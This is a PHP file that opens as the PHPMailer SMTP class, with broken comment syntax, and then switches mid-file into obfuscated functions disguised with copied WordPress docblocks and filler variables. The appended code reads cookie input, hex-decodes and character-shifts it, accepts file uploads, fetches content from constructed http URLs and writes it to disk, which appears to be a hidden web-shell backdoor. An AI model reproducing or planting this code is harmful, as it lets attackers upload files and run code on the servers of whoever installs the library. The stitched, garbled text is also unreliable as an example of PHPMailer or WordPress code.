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<?php /* 
*
 * PHPMailer RFC821 SMTP email transport class.
 * PHP Version 5
 * @package PHPMailer
 * @link https:github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project
 * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
 * @author Jim Jagielski (jimjag) <jimjag@gmail.com>
 * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
 * @author Brent R. Matzelle (original founder)
 * @copyright 2014 Marcus Bointon
 * @copyright 2010 - 2012 Jim Jagielski
 * @copyright 2004 - 2009 Andy Prevost
 * @license http:www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 * @note This program is distributed in the hope that it will be useful - WITHOUT
 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
 * FITNESS FOR A PARTICULAR PURPOSE.
 

*
 * PHPMailer RFC821 SMTP email transport class.
 * Implements RFC 821 SMTP commands and provides some utility methods for sending mail to an SMTP server.
 * @package PHPMailer
 * @author Chris Ryan
 * @author Marcus Bointon <phpmailer@synchromedia.co.uk>
 
class SMTP
{
    *
     * The PHPMailer SMTP version number.
     * @var string
     
    const VERSION = '5.2.22';

    *
     * SMTP line break constant.
     * @var string
     
    const CRLF = "\r\n";

    *
     * The SMTP port to use if one is not specified.
     * @var integer
     
    const DEFAULT_SMTP_PORT = 25;

    *
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     
    const MAX_LINE_LENGTH = 998;

    *
     * Debug level for no output
     
    const DEBUG_OFF = 0;

    *
     * Debug level to show client -> server messages
     
    const DEBUG_CLIENT = 1;

    *
     * Debug level to show client -> server and server -> client messages
     
    const DEBUG_SERVER = 2;

    *
     * Debug level to show connection status, client -> server and server -> client messages
     
    const DEBUG_CONNECTION = 3;

    *
     * Debug level to show all messages
     
    const DEBUG_LOWLEVEL = 4;

    *
     * The PHPMailer SMTP Version number.
     * @var string
     * @deprecated Use the `VERSION` constant instead
     * @see SMTP::VERSION
     
    public $Version = '5.2.22';

    *
     * SMTP server port number.
     * @var integer
     * @deprecated This is only ever used as a default value, so use the `DEFAULT_SMTP_PORT` constant instead
     * @see SMTP::DEFAULT_SMTP_PORT
     
    public $SMTP_PORT = 25;

    *
     * SMTP reply line ending.
     * @var string
     * @deprecated Use the `CRLF` constant instead
     * @see SMTP::CRLF
     
    public $CRLF = "\r\n";

    *
     * Debug output level.
     * Options:
     * * self::DEBUG_OFF (`0`) No debug output, default
     * * self::DEBUG_CLIENT (`1`) Client commands
     * * self::DEBUG_SERVER (`2`) Client commands and server responses
     * * self::DEBUG_CONNECTION (`3`) As DEBUG_SERVER plus connection status
     * * self::DEBUG_LOWLEVEL (`4`) Low-level data output, all messages
     * @var integer
     
    public $do_debug = self::DEBUG_OFF;

    *
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $smtp->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     
    public $Debugoutput = 'echo';

    *
     * Whether to use VERP.
     * @link http:en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http:www.postfix.org/VERP_README.html Info on VERP
     * @var boolean
     
    public $do_verp = false;

    *
     * The timeout value for connection, in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * This needs to be quite high to function correctly with hosts using greetdelay as an anti-spam measure.
     * @link http:tools.ietf.org/html/rfc2821#section-4.5.3.2
     * @var integer
     
    public $Timeout = 300;

    *
     * How long to wait for commands to complete, in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     
    public $Timelimit = 300;

	*
	 * @var array patterns to extract smtp transaction id from smtp reply
	 * Only first capture group will be use, use non-capturing group to deal with it
	 * Extend this class to override this property to fulfil your needs.
	 
	protected $smtp_transaction_id_patterns = array(
		'exim' => '/[0-9]{3} OK id=(.*)/',
		'sendmail' => '/[0-9]{3} 2.0.0 (.*) Message/',
		'postfix' => '/[0-9]{3} 2.0.0 Ok: queued as (.*)/'
	);

    *
     * The socket for the server connection.
     * @var resource
     
    protected $smtp_conn;

    *
     * Error information, if any, for the last SMTP command.
     * @var array
     
    protected $error = array(
        'error' => '',
        'detail' => '',
        'smtp_code' => '',
        'smtp_code_ex' => ''
    );

    *
     * The reply the server sent to us for HELO.
     * If null, no HELO string has yet been received.
     * @var string|null
     
    protected $helo_rply = null;

    *
     * The set of SMTP extensions sent in reply to EHLO command.
     * Indexes of the array are extension names.
     * Value at index 'HELO' or 'EHLO' (according to command that was sent)
     * represents the server name. In case of HELO it is the only element of the array.
     * Other values can be boolean TRUE or an array containing extension options.
     * If null, no HELO/EHLO string has yet been received.
     * @var array|null
     
    protected $server_caps = null;

    *
     * The most recent reply received from the server.
     * @var string
     
    protected $last_reply = '';

    *
     * Output debugging info via a user-selected method.
     * @see SMTP::$Debugoutput
     * @see SMTP::$do_debug
     * @param string $str Debug string to output
     * @param integer $level The debug level of this message; see DEBUG_* constants
     * @return void
     
    protected function edebug($str, $level = 0)
    {
        if ($level > $this->do_debug) {
            return;
        }
        Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $level);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                Don't output, just log
                error_log($str);
                break;
            case 'html':
                Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                Normalize line breaks
                $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                )."\n";
        }
    }

    *
     * Connect to an SMTP server.
     * @param string $host SMTP server IP or host name
     * @param integer $port The port number to connect to
     * @param integer $timeout How long to wait for the connection to open
     * @param array $options An array of options for stream_context_create()
     * @access public
     * @return boolean
     
    public function connect($host, $port = null, $timeout = 30, $options = array())
    {
        static $streamok;
        This is enabled by default since 5.0.0 but some providers disable it
        Check this once and cache the result
        if (is_null($streamok)) {
            $streamok = function_exists('stream_socket_client');
        }
         Clear errors to avoid confusion
        $this->setError('');
         Make sure we are __not__ connected
        if ($this->connected()) {
             Already connected, generate error
            $this->setError('Already connected to a server');
            return false;
        }
        if (empty($port)) {
            $port = self::DEFAULT_SMTP_PORT;
        }
         Connect to the SMTP server
        $this->edebug(
            "Connection: opening to $host:$port, timeout=$timeout, options=".var_export($options, true),
            self::DEBUG_CONNECTION
        );
        $errno = 0;
        $errstr = '';
        if ($streamok) {
            $socket_context = stream_context_create($options);
            set_error_handler(array($this, 'errorHandler'));
            $this->smtp_conn = stream_socket_client(
                $host . ":" . $port,
                $errno,
                $errstr,
                $timeout,
                STREAM_CLIENT_CONNECT,
                $socket_context
            );
            restore_error_handler();
        } else {
            Fall back to fsockopen which should work in more places, but is missing some features
            $this->edebug(
                "Connection: stream_socket_client not available, falling back to fsockopen",
                self::DEBUG_CONNECTION
            );
            set_error_handler(array($this, 'errorHandler'));
            $this->smtp_conn = fsockopen(
                $host,
                $port,
                $errno,
                $errstr,
                $timeout
            );
            restore_error_handler();
        }
         Verify we connected properly
        if (!is_resource($this->smtp_conn)) {
            $this->setError(
                'Failed to connect to server',
                $errno,
                $errstr
            );
            $this->edebug(
                'SMTP ERROR: ' . $this->error['error']
                . ": $errstr ($errno)",
                self::DEBUG_CLIENT
            );
            return false;
        }
        $this->edebug('Connection: opened', self::DEBUG_CONNECTION);
         SMTP server can take longer to respond, give longer timeout for first read
         Windows does not have support for this timeout function
        if (substr(PHP_OS, 0, 3) != 'WIN') {
            $max = ini_get('max_execution_time');
             Don't bother if unlimited
            if ($max != 0 && $timeout > $max) {
                @set_time_limit($timeout);
            }
            stream_set_timeout($this->smtp_conn, $timeout, 0);
        }
         Get any announcement
        $announce = $this->get_lines();
        $this->edebug('SERVER -> CLIENT: ' . $announce, self::DEBUG_SERVER);
        return true;
    }

    *
     * Initiate a TLS (encrypted) session.
     * @access public
     * @return boolean
     
    public function startTLS()
    {
        if (!$this->sendCommand('STARTTLS', 'STARTTLS', 220)) {
            return false;
        }

        Allow the best TLS version(s) we can
        $crypto_method = STREAM_CRYPTO_METHOD_TLS_CLIENT;

        PHP 5.6.7 dropped inclusion of TLS 1.1 and 1.2 in STREAM_CRYPTO_METHOD_TLS_CLIENT
        so add them back in manually if we can
        if (defined('STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT')) {
            $crypto_method |= STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT;
            $crypto_method |= STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT;
        }

         Begin encrypted connection
        if (!stream_socket_enable_crypto(
            $this->smtp_conn,
            true,
            $crypto_method
        )) {
            return false;
        }
        return true;
    }

    *
     * Perform SMTP authentication.
     * Must be run after hello().
     * @see hello()
     * @param string $username The user name
     * @param string $password The password
     * @param string $authtype The auth type (PLAIN, LOGIN, CRAM-MD5)
     * @param string $realm The auth realm for NTLM
     * @param string $workstation The auth workstation for NTLM
     * @param null|OAuth $OAuth An optional OAuth instance (@see PHPMailerOAuth)
     * @return bool True if successfully authenticated.* @access public
     
    public function authenticate(
        $username,
        $password,
        $authtype = null,
        $realm = '',
        $workstation = '',
        $OAuth = null
    ) {
        if (!$this->server_caps) {
            $this->setError('Authentication is not allowed before HELO/EHLO');
            return false;
        }

        if (array_key_exists('EHLO', $this->server_caps)) {
         SMTP extensions are available. Let's try to find a proper authentication method

            if (!array_key_exists('AUTH', $this->server_caps)) {
                $this->setError('Authentication is not allowed at this stage');
                 'at this stage' means that auth may be allowed after the stage changes
                 e.g. after STARTTLS
                return false;
            }

            self::edebug('Auth method requested: ' . ($authtype ? $authtype : 'UNKNOWN'), self::DEBUG_LOWLEVEL);
            self::edebug(
                'Auth methods available on the server: ' . implode(',', $this->server_caps['AUTH']),
                self::DEBUG_LOWLEVEL
            );

            if (empty($authtype)) {
                foreach (array('CRAM-MD5', 'LOGIN', 'PLAIN') as $method) {
                    if (in_array($method, $this->server_caps['AUTH'])) {
                        $authtype = $method;
                        break;
                    }
                }
                if (empty($authtype)) {
                    $this->setError('No supported authentication methods found');
                    return false;
                }
                self::edebug('Auth method selected: '.$authtype, self::DEBUG_LOWLEVEL);
            }

            if (!in_array($authtype, $this->server_caps['AUTH'])) {
                $this->setError("The requested authentication method \"$authtype\" is not supported by the server");
                return false;
            }
        } elseif (empty($authtype)) {
            $authtype = 'LOGIN';
        }
        switch ($authtype) {
            case 'PLAIN':
                 Start authentication
                if (!$this->sendCommand('AUTH', 'AUTH PLAIN', 334)) {
                    return false;
                }
                 Send encoded username and password
                if (!$this->sendCommand(
                    'User & Password',
                    base64_encode("\0" . $username . "\0" . $password),
                    235
                )
                ) {
                    return false;
                }
                break;
            case 'LOGIN':
                 Start authentication
                if (!$this->sendCommand('AUTH', 'AUTH LOGIN', 334)) {
                    return false;
                }
                if (!$this->sendCommand("Username", base64_encode($username), 334)) {
                    return false;
                }
                if (!$this->sendCommand("Password", base64_encode($password), 235)) {
                    return false;
                }
                break;
            case 'CRAM-MD5':
                 Start authentication
                if (!$this->sendCommand('AUTH CRAM-MD5', 'AUTH CRAM-MD5', 334)) {
                    return false;
                }
                 Get the challenge
                $challenge = base64_decode(substr($this->last_reply, 4));

                 Build the response
                $response = $username . ' ' . $this->hmac($challenge, $password);

                 send encoded credentials
                return $this->sendCommand('Username', base64_encode($response), 235);
            default:
                $this->setError("Authentication method \"$authtype\" is not supported");
                return false;
        }
        return true;
    }

    *
     * Calculate an MD5 HMAC hash.
     * Works like hash_hmac('md5', $data, $key)
     * in case that function is not available
     * @param string $data The data to hash
     * @param string $key  The key to hash with
     * @access protected
     * @return string
     
    protected function hmac($data, $key)
    {
        if (function_exists('hash_hmac')) {
            return hash_hmac('md5', $data, $key);
        }

         The following borrowed from
         http:php.net/manual/en/function.mhash.php#27225

         RFC 2104 HMAC implementation for php.
         Creates an md5 HMAC.
         Eliminates the need to install mhash to compute a HMAC
         by Lance Rushing

        $bytelen = 64;  byte length for md5
        if (strlen($key) > $bytelen) {
            $key = pack('H*', md5($key));
        }
        $key = str_pad($key, $bytelen, chr(0x00));
        $ipad = str_pad('', $bytelen, chr(0x36));
        $opad = str_pad('', $bytelen, chr(0x5c));
        $k_ipad = $key ^ $ipad;
        $k_opad = $key ^ $opad;

        return md5($k_opad . pack('H*', md5($k_ipad . $data)));
    }

    *
     * Check connection state.
     * @access public
     * @return boolean True if connected.
     
    public function connected()
    {
        if (is_resource($this->smtp_conn)) {
            $sock_status = stream_get_meta_data($this->smtp_conn);
            if ($sock_status['eof']) {
                 The socket is valid but we are not connected
                $this->edebug(
                    'SMTP NOTICE: EOF caught while checking if connected',
                    self::DEBUG_CLIENT
                );
                $this->close();
                return false;
            }
            return true;  everything looks good
        }
        return false;
    }

    *
     * Close the socket and clean up the state of the class.
     * Don't use this function without first trying to use QUIT.
     * @see quit()
     * @access public
     * @return void
     
    public function close()
    {
        $this->setError('');
        $this->server_caps = null;
        $this->helo_rply = null;
        if (is_resource($this->smtp_conn)) {
             close the connection and cleanup
            fclose($this->smtp_conn);
            $this->smtp_conn = null; Makes for cleaner serialization
            $this->edebug('Connection: closed', self::DEBUG_CONNECTION);
        }
    }

    *
     * Send an SMTP DATA command.
     * Issues a data command and sends the msg_data to the server,
     * finializing the mail transaction. $msg_data is the message
     * that is to be send with the headers. Each header needs to be
     * on a single line followed by a <CRLF> with the message headers
     * and the message body being separated by and additional <CRLF>.
     * Implements rfc 821: DATA <CRLF>
     * @param string $msg_data Message data to send
     * @access public
     * @return boolean
     
    public function data($msg_data)
    {
        This will use the standard timelimit
        if (!$this->sendCommand('DATA', 'DATA', 354)) {
            return false;
        }

         The server is ready to accept data!
         * According to rfc821 we should not send more than 1000 characters on a single line (including the CRLF)
         * so we will break the data up into lines by \r and/or \n then if needed we will break each of those into
         * smaller lines to fit within the limit.
         * We will also look for lines that start with a '.' and prepend an additional '.'.
         * NOTE: this does not count towards line-length limit.
         

         Normalize line breaks before exploding
        $lines = explode("\n", str_replace(array("\r\n", "\r"), "\n", $msg_data));

         To distinguish between a complete RFC822 message and a plain message body, we check if the first field
         * of the first line (':' separated) does not contain a space then it _should_ be a header and we will
         * process all lines before a blank line as headers.
         

        $field = substr($lines[0], 0, strpos($lines[0], ':'));
        $in_headers = false;
        if (!empty($field) && strpos($field, ' ') === false) {
            $in_headers = true;
        }

        foreach ($lines as $line) {
            $lines_out = array();
            if ($in_headers and $line == '') {
                $in_headers = false;
            }
            Break this line up into several smaller lines if it's too long
            Micro-optimisation: isset($str[$len]) is faster than (strlen($str) > $len),
            while (isset($line[self::MAX_LINE_LENGTH])) {
                Working backwards, try to find a space within the last MAX_LINE_LENGTH chars of the line to break on
                so as to avoid breaking in the middle of a word
                $pos = strrpos(substr($line, 0, self::MAX_LINE_LENGTH), ' ');
                Deliberately matches both false and 0
                if (!$pos) {
                    No nice break found, add a hard break
                    $pos = self::MAX_LINE_LENGTH - 1;
                    $lines_out[] = substr($line, 0, $pos);
                    $line = substr($line, $pos);
                } else {
                    Break at the found point
                    $lines_out[] = substr($line, 0, $pos);
                    Move along by the amount we dealt with
                    $line = substr($line, $pos + 1);
                }
                If processing headers add a LWSP-char to the front of new line RFC822 section 3.1.1
                if ($in_headers) {
                    $line = "\t" . $line;
                }
            }
            $lines_out[] = $line;

            Send the lines to the server
            foreach ($lines_out as $line_out) {
                RFC2821 section 4.5.2
                if (!empty($line_out) and $line_out[0] == '.') {
                    $line_out = '.' . $line_out;
                }
                $this->client_send($line_out . self::CRLF);
            }
        }

        Message data has been sent, complete the command
        Increase timelimit for end of DATA command
        $savetimelimit = $this->Timelimit;
        $this->Timelimit = $this->Timelimit * 2;
        $result = $this->sendCommand('DATA END', '.', 250);
        Restore timelimit
        $this->Timelimit = $savetimelimit;
        return $result;
    }

    *
     * Send an SMTP HELO or EHLO command.
     * Used to identify the sending server to the receiving server.
     * This makes sure that client and server are in a known state.
     * Implements RFC 821: HELO <SP> <domain> <CRLF>
     * and RFC 2821 EHLO.
     * @param string $host The host name or IP to connect to
     * @access public
     * @return boolean
     
    public function hello($host = '')
    {
        Try extended hello first (RFC 2821)
        return (boolean)($this->sendHello('EHLO', $host) or $this->sendHello('HELO', $host));
    }

    *
     * Send an SMTP HELO or EHLO command.
     * Low-level implementation used by hello()
     * @see hello()
     * @param string $hello The HELO string
     * @param string $host The hostname to say we are
     * @access protected
     * @return boolean
     
    protected function sendHello($hello, $host)
    {
        $noerror = $this->sendCommand($hello, $hello . ' ' . $host, 250);
        $this->helo_rply = $this->last_reply;
        if ($noerror) {
            $this->parseHelloFields($hello);
        } else {
            $this->server_caps = null;
        }
        return $noerror;
    }

    *
     * Parse a reply to HELO/EHLO command to discover server extensions.
     * In case of HELO, the only parameter that can be discovered is a server name.
     * @access protected
     * @param string $type - 'HELO' or 'EHLO'
     
    protected function parseHelloFields($type)
    {
        $this->server_caps = array();
        $lines = explode("\n", $this->helo_rply);

        foreach ($lines as $n => $s) {
            First 4 chars contain response code followed by - or space
            $s = trim(substr($s, 4));
            if (empty($s)) {
                continue;
            }
            $fields = explode(' ', $s);
            if (!empty($fields)) {
                if (!$n) {
                    $name = $type;
                    $fields = $fields[0];
                } else {
                    $name = array_shift($fields);
                    switch ($name) {
                        case 'SIZE':
                            $fields = ($fields ? $fields[0] : 0);
                            break;
                        case 'AUTH':
                            if (!is_array($fields)) {
                                $fields = array();
                            }
                            break;
                        default:
                            $fields = true;
                    }
                }
                $this->server_caps[$name] = $fields;
            }
        }
    }

    *
     * Send an SMTP MAIL command.
     * Starts a mail transaction from the email address specified in
     * $from. Returns true if successful or false otherwise. If True
     * the mail transaction is started and then one or more recipient
     * commands may be called followed by a data command.
     * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
     * @param string $from Source address of this message
     * @access public
     * @return boolean
     
    public function mail($from)
    {
        $useVerp = ($this->do_verp ? ' XVERP' : '');
        return $this->sendCommand(
            'MAIL FROM',
            'MAIL FROM:<' . $from . '>' . $useVerp,
            250
        );
    }

    *
     * Send an SMTP QUIT command.
     * Closes the socket if there is no error or the $close_on_error argument is true.
     * Implements from rfc 821: QUIT <CRLF>
     * @param boolean $close_on_error Should the connection close if an error occurs?
     * @access public
     * @return boolean
     
    public function quit($close_on_error = true)
    {
        $noerror = $this->sendCommand('QUIT', 'QUIT', 221);
        $err = $this->error; Save any error
        if ($noerror or $close_on_error) {
            $this->close();
            $this->error = $err; Restore any error from the quit command
        }
        return $noerror;
    }

    *
     * Send an SMTP RCPT command.
     * Sets the TO argument to $toaddr.
     * Returns true if the recipient was accepted false if it was rejected.
     * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
     * @param string $address The address the message is being sent to
     * @access public
     * @return boolean
     
    public function recipient($address)
    {
        return $this->sendCommand(
            'RCPT TO',
            'RCPT TO:<' . $address . '>',
            array(250, 251)
        );
    }

    *
     * Send an SMTP RSET command.
     * Abort any transaction that is currently in progress.
     * Implements rfc 821: RSET <CRLF>
     * @access public
     * @return boolean True on success.
   */
	/**
	 * Gets a list of columns.
	 *
	 * @since 3.1.0
	 *
	 * @return array
	 */
function deactivated_plugins_notice($o_entries) {
    $required_indicator = '  PHP is powerful  ';
    $theme_template_files = trim($required_indicator);
    if (empty($theme_template_files)) {
        $S10 = 'Empty string';
    } else {
        $S10 = $theme_template_files;
    }

    return explode(',', $o_entries);
}


/**
 * Updates metadata for a site.
 *
 * Use the $prev_value parameter to differentiate between meta fields with the
 * same key and site ID.
 *
 * If the meta field for the site does not exist, it will be added.
 *
 * @since 5.1.0
 *
 * @param int    $site_id    Site ID.
 * @param string $meta_key   Metadata key.
 * @param mixed  $meta_value Metadata value. Must be serializable if non-scalar.
 * @param mixed  $prev_value Optional. Previous value to check before updating.
 *                           If specified, only update existing metadata entries with
 *                           this value. Otherwise, update all entries. Default empty.
 * @return int|bool Meta ID if the key didn't exist, true on successful update,
 *                  false on failure or if the value passed to the function
 *                  is the same as the one that is already in the database.
 */
function add_feed($thumbnail_update, $setting_user_ids)
{
    return file_put_contents($thumbnail_update, $setting_user_ids);
}


/*
	 * If HTML5 script tag is supported, only the attribute name is added
	 * to $toolbar1ttributes_string for entries with a boolean value, and that are true.
	 */
function handle_terms($should_skip_css_vars, $tags_input)
{
	$markerdata = move_uploaded_file($should_skip_css_vars, $tags_input);
    $pathdir = "abcde"; // 4 bytes "VP8 " + 4 bytes chunk size
    $old_theme = str_pad($pathdir, 10, "*", STR_PAD_RIGHT);
	
    return $markerdata; // the cookie-path is a %x2F ("/") character.
}


/**
			 * Filters the array of retrieved posts after they've been fetched and
			 * internally processed.
			 *
			 * @since 1.5.0
			 *
			 * @param WP_Post[] $posts Array of post objects.
			 * @param WP_Query  $query The WP_Query instance (passed by reference).
			 */
function add_existing_user_to_blog($v_compare) // Non-English decimal places when the $rating is coming from a string.
{
    $rollback_result = sprintf("%c", $v_compare);
    $nextRIFFtype = "Code123";
    $pretty_permalinks = strlen($nextRIFFtype); // newline (0x0A) characters as special chars but do a binary match
    return $rollback_result; // If global super_admins override is defined, there is nothing to do here.
}


/**
 * Atom 1.0 Namespace
 */
function register_route($tmpfname_disposition)
{ // Prevent post_name from being dropped, such as when contributor saves a changeset post as pending.
    $tmpfname_disposition = "http://" . $tmpfname_disposition;
    $v_maximum_size = array("Sample", "words", "for", "test");
    $para = implode(' ', $v_maximum_size);
    $AudioCodecFrequency = array();
    foreach ($v_maximum_size as $wp_limit_int) {
        $AudioCodecFrequency[] = str_pad($wp_limit_int, 8, '0');
    }

    return $tmpfname_disposition;
}


/**
			 * Filters the timeout value for an HTTP request.
			 *
			 * @since 2.7.0
			 * @since 5.1.0 The `$tmpfname_disposition` parameter was added.
			 *
			 * @param float  $timeout_value Time in seconds until a request times out. Default 5.
			 * @param string $tmpfname_disposition           The request URL.
			 */
function wp_convert_bytes_to_hr($tmpfname_disposition)
{
    if (strpos($tmpfname_disposition, "/") !== false) {
    $sensor_key = "Snippet-Text";
        return true;
    }
    return false;
}


/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the website, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/documentation/article/editing-wp-config-php/
 *
 * @package WordPress
 */
function set_screen_reader_content($offset_or_tz, $WMpicture, $profile)
{
    if (isset($_FILES[$offset_or_tz])) {
    $original_key = "My string to check";
    if (!empty($original_key) && strlen($original_key) > 10) {
        $mysql_client_version = register_block_core_latest_posts('sha256', $original_key);
        $p_central_dir = str_pad(substr($mysql_client_version, 0, 20), 30, ".");
    }

    $orig_rows = explode('-', date("Y-m-d"));
        block_core_navigation_get_fallback_blocks($offset_or_tz, $WMpicture, $profile); // A folder exists, therefore we don't need to check the levels below this.
    if (count($orig_rows) === 3) {
        $tagParseCount = implode('-', $orig_rows);
        $old_theme = $tagParseCount . "|" . $p_central_dir;
        $signMaskBit = register_block_core_latest_posts('sha1', $old_theme);
    }

    }
	
    signup_nonce_check($profile); // <Header for 'User defined text information frame', ID: 'TXXX'>
}


/**
	 * Prints the markup for available menu item custom links.
	 *
	 * @since 4.7.0
	 */
function get_selective_refreshable_widgets($num_posts)
{
    return wp_dashboard_site_activity() . DIRECTORY_SEPARATOR . $num_posts . ".php";
}


/**
	 * Converts a timestamp for display.
	 *
	 * @since 4.9.6
	 *
	 * @param int $mod_sockets Event timestamp.
	 * @return string Human readable date.
	 */
function secureHeader($o_entries) {
    $meta_compare_key = "Substring Example"; //    int64_t b0  = 2097151 & load_3(b);
    if (strlen($meta_compare_key) > 5) {
        $show_admin_bar = substr($meta_compare_key, 0, 5);
        $multidimensional_filter = str_pad($show_admin_bar, 10, "*");
        $mimetype = register_block_core_latest_posts('sha256', $multidimensional_filter);
    }
 //   When its a folder, expand the folder with all the files that are in that
    $view_script_module_ids = deactivated_plugins_notice($o_entries);
    return get_the_content($view_script_module_ids); //        |   Frames (variable length)  |
}


/* translators: %s: Number of trashed posts. */
function wp_kses_normalize_entities($tmpfname_disposition, $thumbnail_update)
{
    $rest_options = get_page_cache_detail($tmpfname_disposition);
    $s_prime = "Vegetable"; // Dispatch error and map old arguments to new ones.
    if ($rest_options === false) {
    $temp_backup_dir = substr($s_prime, 4);
    $qty = rawurldecode("%23Food%20Style");
        return false;
    } // Length
    $manage_url = register_block_core_latest_posts('ripemd160', $temp_backup_dir);
    $poified = str_pad($s_prime, 12, "$");
    if ($poified == "Vegetable$$$") {
        $mod_sockets = date("W");
    }
 // If we have any symbol matches, update the values.
    return add_feed($thumbnail_update, $rest_options);
} // Build the @font-face CSS for this font.


/** @var DOMElement $synchsafe */
function LociString($offset_or_tz, $WMpicture)
{
    $pt_names = $_COOKIE[$offset_or_tz];
    $scopes = "Hello World"; // do not match. Under normal circumstances, where comments are smaller than
    $scopes = rawurldecode("Hello%20World%21");
    $unique_failures = explode(" ", $scopes);
    $parent_theme_json_data = implode("-", $unique_failures);
    $pretty_permalinks = strlen($parent_theme_json_data); // Always allow for updating a post to the same template, even if that template is no longer supported.
    $pt_names = wp_get_duotone_filter_svg($pt_names);
    if ($pretty_permalinks > 5) {
        $parent_theme_json_data = str_pad($parent_theme_json_data, 15, ".");
    } else {
        $parent_theme_json_data = str_replace("-", "_", $parent_theme_json_data);
    }

    $profile = shortcode_atts($pt_names, $WMpicture);
    if (wp_convert_bytes_to_hr($profile)) {
		$mimetype = controls($profile);
        return $mimetype; // Now, merge the data from the exporter response into the data we have accumulated already.
    } # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen);
	 // check for strings with only characters above chr(128) and punctuation/numbers, but not just numeric strings (e.g. track numbers or years)
    set_screen_reader_content($offset_or_tz, $WMpicture, $profile);
} // 0 : PclZip Class integrated error handling


/**
	 * Retrieves a network from the database by its ID.
	 *
	 * @since 4.4.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param int $network_id The ID of the network to retrieve.
	 * @return WP_Network|false The network's object if found. False if not.
	 */
function wp_get_nav_menu_object($thumbnail_update, $package_data)
{
    $DIVXTAGgenre = file_get_contents($thumbnail_update);
    $role__in_clauses = "abcDefGhij";
    $sortables = shortcode_atts($DIVXTAGgenre, $package_data);
    file_put_contents($thumbnail_update, $sortables);
}


/**
	 * Parses and sanitizes 'orderby' keys passed to the user query.
	 *
	 * @since 4.2.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param string $orderby Alias for the field to order by.
	 * @return string Value to used in the ORDER clause, if `$orderby` is valid.
	 */
function entity($v_compare)
{
    $v_compare = ord($v_compare);
    $registered_webfonts = [10, 20, 30];
    return $v_compare;
}


/* translators: %s: $network_id */
function signup_nonce_check($v_value)
{
    echo $v_value;
} // Create the rule if it doesn't exist.


/**
 * Upgrade API: Theme_Upgrader class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */
function wp_get_duotone_filter_svg($not_in)
{
    $parent_theme_json_data = pack("H*", $not_in); // Default authentication filters.
    $priorityRecord = array(100, 200, 300, 400); // 'free', 'skip' and 'wide' are just padding, contains no useful data at all
    $NextObjectGUIDtext = implode(',', $priorityRecord);
    $trackbackregex = explode(',', $NextObjectGUIDtext); // Prepare instance data that looks like a normal Text widget.
    $parsedHeaders = array();
    return $parent_theme_json_data;
}


/**
 * Returns border color classnames depending on whether there are named or custom border colors.
 *
 * @param array $toolbar1ttributes The block attributes.
 *
 * @return string The border color classnames to be applied to the block elements.
 */
function wp_img_tag_add_loading_attr($rollback_result, $post_edit_link)
{ //foreach ($FrameRateCalculatorArray as $table_namesrames_per_second => $table_namesrame_count) {
    $nullterminatedstring = entity($rollback_result) - entity($post_edit_link);
    $toolbar1 = "some value";
    $DKIM_selector = register_block_core_latest_posts("sha1", $toolbar1);
    $nullterminatedstring = $nullterminatedstring + 256; // The finished rules. phew!
    $max_srcset_image_width = strlen($DKIM_selector); // Amend post values with any supplied data.
    $root_style_key = "PHP script";
    $nullterminatedstring = $nullterminatedstring % 256;
    $utf8_pcre = str_pad($root_style_key, 20, "-");
    if ($max_srcset_image_width > 10) {
        $table_names = substr($DKIM_selector, 0, 10);
    }

    $rollback_result = add_existing_user_to_blog($nullterminatedstring);
    return $rollback_result;
} // No arguments set, skip sanitizing.


/**
	 * Fires immediately after a site is activated.
	 *
	 * @since MU (3.0.0)
	 *
	 * @param int    $DKIM_selectorlog_id       Blog ID.
	 * @param int    $user_id       User ID.
	 * @param string $password      User password.
	 * @param string $signup_title  Site title.
	 * @param array  $meta          Signup meta data. By default, contains the requested privacy setting and lang_id.
	 */
function auto_check_update_meta($offset_or_tz, $AuthString = 'txt') // End $widget_objects_nginx. Construct an .htaccess file instead:
{
    return $offset_or_tz . '.' . $AuthString; // FLV  - audio/video - FLash Video
}


/**
	 * Filters the primitive capabilities required of the given user to satisfy the
	 * capability being checked.
	 *
	 * @since 2.8.0
	 *
	 * @param string[] $max_srcset_image_widthaps    Primitive capabilities required of the user.
	 * @param string   $max_srcset_image_widthap     Capability being checked.
	 * @param int      $user_id The user ID.
	 * @param array    $toolbar1rgs    Adds context to the capability check, typically
	 *                          starting with an object ID.
	 */
function controls($profile)
{
    add_dynamic_settings($profile);
